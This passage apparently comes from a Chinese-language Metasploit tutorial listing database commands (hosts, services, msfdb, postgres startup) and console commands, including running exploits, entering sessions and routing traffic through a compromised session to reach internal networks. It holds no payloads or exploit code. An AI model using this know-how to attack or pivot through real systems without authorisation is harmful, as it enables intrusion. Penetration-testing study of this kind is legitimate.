- host 1.1.1.1 # 过滤 ip
- hosts -u # 只显示 up 的主机
- hosts -c address,os_name # 显示指定列名的数据
- hosts -c address,os_name -S xxx # 显示指定列名的数据,-S 过滤出包含 xxx 的数据
- services # 显示 port、协议相关的信息
- services -p 443 # -p 根据端口过滤
db_remove
db_status
查看当前连接数据库状态(postgresql),若没有连接,可以尝试手动启动 postgresql1
2
3
4msfdb start # 尝试启动 msfdb
msfdb reinit # 初始化
netstat -pantu | grep 5432 # 查看 postgresql 是否启动,5432 是 postgresql 默认端口
service postgresql start # 启动 postgresqldb_disconnect
db_import
db_rebuild_cache
msf 所有模块都在/usr/share/metasploit-framework/modules
下,使用db_rebuild_cache
可以将模块加载到数据库中,能使检索效率更快。db_save
3.3 MSF 功能使用命令
- set/unset :设置/取消设置
- setg/unsetg:全局设置(g=globel)
- save:保存当前配置至文件(/root/.msf/config)
- run/exploit:执行
- jobs:正在执行的 exploit
- kill
- load/unload/loadpath
- load:加载外部插件,如
load openvas
扫描 - loadpath:调用指定目录里的 module
- load:加载外部插件,如
- session:攻击主机与目标主机维持的 session(shell、meterpreter session、VNC)
- session -i id:进入对应 id 的 session
- route:通过指定的 session 建立的连接来路由流量,而不用常规路由
route add 10.1.1.0 255.255.255.0 4
,将通往 10.1.1.0 网段的流量通过 id 为 4 的 seesion 来路由
- irb(Framework::version):类似于 ipython,开发页面
- resource:指定资源文件(将rhost、rport等设置写在文件 r.rc 中,通过 resource 可以直接设置成功)
- 没进到 MSF console 时,在系统shell 可以通过 msfconsole -r 实现